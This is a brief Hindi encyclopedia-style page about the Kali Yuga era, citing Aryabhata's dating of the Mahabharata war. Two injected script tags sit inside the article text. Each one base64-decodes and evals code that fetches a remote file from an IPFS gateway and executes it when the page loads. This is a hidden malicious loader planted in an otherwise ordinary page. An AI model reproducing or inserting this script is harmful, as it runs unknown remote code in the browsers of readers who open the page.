कलि युग
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कल युग / Kal yug
आर्यभट्ट के अनुसार महाभारत का युद्ध 3109 ई0 पू0 में हुआ था और उसके अंत के साथ ही कल युग का आरंभ हो गया। इसे कलि युग भी कहते हैं। कुछ विद्वान कलियुग का आरंभ महाभारत युद्व के 625 वर्ष पहले से मानते हैं। फिर भी सामान्यत: यही विश्वास किया जाता है कि महाभारत युद्ध के अंत, श्रीकृष्ण के स्वर्गारोहण और पांडवों के हिमालय में गलने के लिए जाने के साथ ही कलि युग का आरंभ हो गया। इस युग के प्रथम राजा परीक्षित हुए। आर्यभट्ट के अनुसार महाभारत का युद्ध 3109 ई0 पू0 में हुआ था और उसके अंत के साथ ही कलि युग का आरंभ हो गया।